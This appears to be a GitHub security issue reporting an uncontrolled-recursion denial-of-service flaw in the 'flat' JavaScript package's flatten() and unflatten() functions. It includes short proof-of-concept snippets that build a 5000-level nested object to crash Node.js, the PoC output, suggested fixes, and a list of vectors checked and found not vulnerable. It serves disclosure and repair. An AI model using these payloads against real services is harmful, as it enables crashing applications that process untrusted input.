Security: Uncontrolled Recursion DoS in flatten() - CWE-674 (Stack Overflow)
- Dominant language
- JavaScript
- Stars
- 1.8k
- Forks
- 197
- PR merge metrics
- No merged PRs in 30d
Description
## Summary
`flat` v6.0.1 `flatten()` function uses a recursive inner function `step()` (line 20-43 of index.js) to traverse nested objects. The `maxDepth` option is not set by default (`undefined`), so the recursion depth is unbounded. An attacker-controlled deeply nested object (~2,255+ levels) causes a `RangeError: Maximum call stack size exceeded`, crashing the Node.js process.
**Severity:** Medium (DoS - process crash)
**CWE:** CWE-674 (Uncontrolled Recursion)
## Root Cause
File: `index.js`, line 38
```javascript
function step (object, prev, currentDepth) {
currentDepth = currentDepth || 1
Object.keys(object).forEach(function (key) {
// ...
if (type === 'object' && ...) {
if (!opts.maxDepth) {
return step(value, newKey, currentDepth + 1) // UNBOUNDED RECURSION
}
}
})
}
```
The function recurses into nested objects without any depth check when `maxDepth` is not set (the default).
## Two Confirmed Attack Vectors
### 1. Direct: `flatten(deepObject)`
```javascript
import { flatten } from 'flat';
let obj = { v: 1 };
for (let i = 0; i < 5000; i++) obj = { n: obj };
flatten(obj);
// RangeError: Maximum call stack size exceeded
```
### 2. Indirect: `unflatten({key: deepObject})`
```javascript
import { unflatten } from 'flat';
let obj = { v: 1 };
for (let i = 0; i < 5000; i++) obj = { n: obj };
unflatten({ test: obj });
// RangeError: Maximum call stack size exceeded
// (unflatten calls flatten() internally at line 109 to pre-process nested object values)
```
## PoC Output
```
--- PoC 1a: flatten() with deeply nested object ---
[FAIL] flatten() crashes at depth 5000: Maximum call stack size exceeded
--- PoC 1b: unflatten() crash via nested object value ---
[FAIL] unflatten() crashes with nested object value at depth 5000: Maximum call stack size exceeded
--- PoC 1c: Minimum crash depth ---
[INFO] Minimum depth causing crash: ~2255 levels
[INFO] This is well within range of attacker-crafted JSON payloads
```
## Impact
Any application that calls `flatten()` on untrusted input (e.g., JSON from API requests, user-submitted data) can be crashed with a ~2,255-level nested object. The `RangeError` from stack overflow may not be catchable in all environments, and Node.js may terminate the entire process.
A 2,255-level nested JSON object is only ~30KB, making this a low-bandwidth DoS attack.
## Suggested Fix
Either:
1. Set a reasonable default `maxDepth` (e.g., 100 or 500)
2. Convert `step()` to an iterative algorithm using an explicit stack
## Verified NOT Vulnerable
- **Prototype pollution via `__proto__`**: CVE-2020-36632 fix is solid (line 121 correctly checks `key1 === '__proto__'`)
- **Prototype pollution via `constructor.prototype`**: Safe (constructor on `{}` is Function type, isobject=false)
- **ReDoS**: No regex used anywhere in the package
- **Algorithmic complexity**: All operations are O(n) in the number of keys
Contributor guide
No contributing guide indexed for this repository
Assessment
This issue has not been assessed yet.